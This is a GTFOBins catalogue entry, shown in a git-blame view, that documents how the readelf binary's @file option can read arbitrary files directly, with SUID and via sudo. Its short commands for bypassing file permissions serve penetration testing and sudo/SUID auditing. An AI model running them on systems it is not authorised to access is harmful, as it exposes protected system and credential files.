GTFOBins.github.io/_gtfobins/readelf.md

18 lines
474 B
Markdown
Raw Normal View History

2018-12-31 20:58:24 +01:00
---
description: |
2019-01-02 13:41:10 +01:00
Each line is corrupted by a prefix string and wrapped inside single quotes. Also consider that lines are actually parsed as `readelf` options thus some file contents may lead to unexpected results.
2018-12-31 20:58:24 +01:00
functions:
file-read:
- code: |
LFILE=file_to_read
readelf -a @$LFILE
suid:
- code: |
LFILE=file_to_read
2019-01-02 13:41:10 +01:00
./readelf -a @$LFILE
2018-12-31 20:58:24 +01:00
sudo:
- code: |
LFILE=file_to_read
sudo readelf -a @$LFILE
---